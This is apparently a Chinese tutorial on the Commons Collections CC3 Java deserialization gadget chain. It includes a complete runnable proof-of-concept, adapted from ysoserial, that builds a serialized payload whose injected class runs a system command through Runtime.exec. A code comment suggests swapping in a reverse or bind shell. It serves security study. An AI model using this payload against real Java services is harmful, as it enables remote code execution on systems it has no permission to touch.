环境准备

JDK1.7(7u80)、commons-collections(3.x 4.x均可这里使用3.2版本)、javassist(3.12.1.GA)

JDK:https://repo.huaweicloud.com/java/jdk/7u80-b15/jdk-7u80-windows-x64.exe

cc4.0、ClassPool的mvn依赖如下

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>

因为这里用到了Proxy,所以JDK8新版本中不可用,在CC5中提到了一种新的利用方式,可以不通过Proxy来调用。

正文

CC3 攻击链的关键在于利用 TemplatesChainedTransformerConstantTransformerInstantiateTransformer类来形成一系列的反射调用,最终触发恶意类的加载或执行。

本质上来说CC3攻击链条是CC2中的Templates部分+CC1中的Proxy部分,所以大家都说CC3是CC1和CC2的变种写法。其实CC攻击链并非只有一种固定写法,可以通过多种写法的结合来完成新的攻击链,当把ysoserial中的CC链学完之后,就可以自己尝试自由组合。

CC3中多了几个类:

TrAXFilter

TrAXFilter 类是 Java 中 XML 处理相关的一个类,属于 Java XML API 的一部分。它主要用于过滤和处理 XML 数据流。TrAXFilter 实现了 javax.xml.transform.sax.SAXResult 接口,提供了对 XML 数据流的接收、处理和转换能力。在一些利用中,特别是在 Java 反序列化漏洞的利用链(如 CC3)中,TrAXFilter 被用作利用链的一部分,因为它的构造函数涉及到了 Templates 类对象,并且其操作可以被利用来执行恶意代码。

CC3中的应用

配合 ChainedTransformer 在 CC3 中,TrAXFilter 通常与 ChainedTransformer 类结合使用。ChainedTransformer 允许多个 Transformer 被顺序调用,从而达到多层嵌套和最终执行恶意操作的效果。TrAXFilter 是作为其中一个 Transformer 使用的,它的构造函数需要传入 Templates 对象,而 Templates 可以携带恶意字节码。

执行恶意代码: 当反序列化触发时,构造的 TrAXFilter 会被激活,并且它会通过 Templates 生成恶意的 XML 转换过程。具体来说,TrAXFilter 作为一个过滤器,可以与 Templates 类结合,完成从普通 XML 到恶意命令的转换。这就允许通过 XML 数据流来触发恶意代码的执行。

关键代码

public class TrAXFilter extends XMLFilterImpl {
private Templates _templates;
private TransformerImpl _transformer;
private TransformerHandlerImpl _transformerHandler;
private boolean _overrideDefaultParser;
// 构造函数接收一个Templates参数
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
// 执行templates的newTransformer方法,而newTransformer就是CC2链中提到的最终执行恶意代码的逻辑
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideDefaultParser = _transformer.overrideDefaultParser();
}
}

InstantiateTransformer

有了上述 gadget ,接下来的重点就是需要我们实例化这个 TrAXFilter,实例化我们当然可以使用 InvokerTransformer 反射拿到 Constructor 再 newInstance,但是同样地可以直接使用另外一个 Transformer:InstantiateTransformer。

Commons Collections 提供了 InstantiateTransformer 用来通过反射创建类的实例,可以看到 transform() 方法实际上接收一个 Class 类型的对象,通过 getConstructor 获取构造方法,并通过 newInstance 创建类实例。

关键代码

public class InstantiateTransformer implements Transformer, Serializable {
private final Class[] iParamTypes;
private final Object[] iArgs; public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
......
// 获取input的Class对象的构造方法,并调用构造方法创建实例对象
// 如果input=TrAXFilter.class,iParamTypes=Templates.class。则最终就能调用到TrAXFilter(Templates templates)
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
......
}
}

基于CC2和CC1的内容,我们可以构造出来以下的POC代码

POC - ysoserial代码

下边的代码还是基于ysoserial的代码的改造版本,不使用ysoserial中的模板代码和工具类,下边的代码可以直接在本地运行。

public class CommonsCollections3 {
static String serialFileName = "commons-collections3.ser"; public static void main(String[] args) throws Exception {
cc3byYsoSerial();
verify();
} public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
} public static void cc3byYsoSerial() throws Exception {
//==========================CC2中的构造Templates的内容 START==========================
String executeCode = "Runtime.getRuntime().exec(\"cmd /c start\");";
ClassPool pool = ClassPool.getDefault();
CtClass evil = pool.makeClass("ysoserial.Evil");
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
evil.makeClassInitializer().insertAfter(executeCode);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
evil.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(AbstractTranslet.class.getName());
evil.setSuperclass(superC); final byte[] classBytes = evil.toBytecode();
byte[][] trueclassbyte = new byte[][]{classBytes}; Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, trueclassbyte); Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "Pwnr"); Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
//==========================CC2中的构造Templates的内容 END========================== //========================CC3的新增调用方式START==============================
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templates } )};
//=========================CC3的新增调用方式 END=================================== //=========================CC1中的动态代理方式 反序列化触发 START===========================
// 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers); // 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
// 构造动态代理
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
// 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lazyMap);
// 创建LazyMap的动态代理类实例
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler); // 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Documented.class, mapProxy);
//=========================CC1中的动态代理方式 反序列化触发 END=========================== FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(invocationHandler);
oos.flush();
oos.close();
fos.close();
}
}

运行效果如下

调用链

调用链就是CC1和CC2的结合版本,如下:

  • ObjectInputStream.readObject()

    • AnnotationInvocationHandler.readObject()

      • Map(Proxy).entrySet()

        • AnnotationInvocationHandler.invoke()

          • LazyMap.get()

            • ChainedTransformer.transform()

              • ConstantTransformer.transform() TrAXFilter
              • InvokerTransformer.transform() Templates
                • TrAXFilter() Templates

                  • TemplatesImpl.newTransformer()
                  • TemplatesImpl.getTransletInstance()
                  • ......
                  • 触发静态代码调用

CommonsCollections3(基于ysoserial)的更多相关文章

  1. ysoserial commonscollections3 分析

    cc3利用链如下: TrAXFilter(Templates templates) TemplatesImpl->newTransformer() TemplatesImpl->getTr ...

  2. Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)

    Java unserialize serialized Object(AnnotationInvocationHandler.ysoserial) In readObject() LeadTo Tra ...

  3. ysoserial分析【一】 之 Apache Commons Collections

    目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...

  4. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  5. SpringMVC学习系列(12) 完结篇 之 基于Hibernate+Spring+Spring MVC+Bootstrap的管理系统实现

    到这里已经写到第12篇了,前11篇基本上把Spring MVC主要的内容都讲了,现在就直接上一个项目吧,希望能对有需要的朋友有一些帮助. 一.首先看一下项目结构: InfrastructureProj ...

  6. Spring Security 集成 CAS(基于HTTP协议版本)

    Spring Security 集成 CAS(基于HTTP协议版本) 近段时间一直研究Spring Security 集成 CAS,网上资料相关资料也很多,不过大都是基于Https的安全认证;使用ht ...

  7. 基于CommonsCollections4的Gadget分析

    基于CommonsCollections4的Gadget分析 Author:Welkin 0x1 背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全 ...

  8. jxls实现基于excel模板的报表

    此文章是基于 搭建Jquery+SpringMVC+Spring+Hibernate+MySQL平台 一. jar包介绍 1. commons-collections-3.2.jar 2. commo ...

  9. 基于CentOS与VmwareStation10搭建hadoop环境

    基于CentOS与VmwareStation10搭建hadoop环境     目 录 1. 概述.... 1 1.1. 软件准备.... 1 1.2. 硬件准备.... 1 2. 安装与配置虚拟机.. ...

  10. 浅谈java反序列化工具ysoserial

    前言 关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题.然而,在下载老外的ysoserial工具并仔细看看后,我发现 ...

随机推荐

  1. PyTorch从入门到放弃之张量模块

    目录 张量的数据类型 torch.rand()函数 torch.randn()函数 torch.normal()函数 torch.linspace()函数 torch.manual_seed()函数 ...

  2. 图穷匕见-所有反DDD模式都是垃圾

    本文书接上回<主观与客观,破除DDD凭经验魔咒>,关注公众号(老肖想当外语大佬)获取信息: 最新文章更新: DDD框架源码(.NET.Java双平台): 加群畅聊,建模分析.技术实现交流: ...

  3. Coursera, Big Data 5, Graph Analytics for Big Data, Week 3

    Graph Analytics 有哪些类型 node type (labels) node schema: attributes 组成了schema. 同样的, Edge也有 Edge Type 和E ...

  4. Openstack-删除卷:您被禁止执行 删除卷 (僵尸卷)

    您被禁止执行 删除卷 (僵尸卷) 您被禁止执行 删除卷: 7f23a26a-27f2-4504-9191-0f5630a5bff5, 卷一直在创建,但实例已经被删除了 [root@controller ...

  5. HTML & CSS – dir, direction, writing-mode, ltr (left to rigth), rtl (right to left)

    前言 世界上有很多语言的阅读方向是不同的. 英文 中文 (以前才有竖排文字, 现在中文和英语一样了) 阿拉伯文 (Arabic) 面对不同的语言, HTML 和 CSS 就需要不同的写法. 虽然我没有 ...

  6. 【赵渝强老师】Docker Swarm集群的数据持久化

    如果Docker Swarm集群中运行了mysql.nginx等服务,这些服务的数据如果没有挂载到宿主机中,那么容器一旦停止运行,那就意味着数据丢失. 有什么方法可以解决swarm集群中运行的服务能够 ...

  7. Windows应急响应-灰鸽子远控木马

    目录 应急背景 木马查杀 1.查看异常连接 2.根据端口号查看对应进程文件 3.排查异常服务 4.发现启动项 开始查杀 入侵排查 1.账号排查 2.查看服务 3.查看启动项 4.查看计划任务 5.网络 ...

  8. [kubernetes]二进制方式部署单机k8s-v1.30.5

    前言 之前在单机测试k8s的kind最近故障了,虚拟机运行个几分钟后就宕机了,不知道是根因是什么,而且kind部署k8s不太好做一些个性化配置,干脆用二进制方式重新搭一个单机k8s. 因为是用来开发测 ...

  9. arm64 下内核 crash—— 非法地址

    下面是在实际工作中遇到的一次内核(5.4.110)访问非法内存地址(空指针)导致出错的现场,在这里记录一下简单的分析流程为以后遇到类似的问题作为参考. [ 220.619861] Unable to ...

  10. Java日期时间API系列41-----根据毫秒值计算倒计时

    会有一个比较常见的需求,计算倒计时,比如,计算距离某时间剩余时间(27小时10分钟30秒.1天3小时10分钟30秒)或者已经进行了多长时间等.下面是2种实现代码:其中第一种超过1天会体现在小时上,比如 ...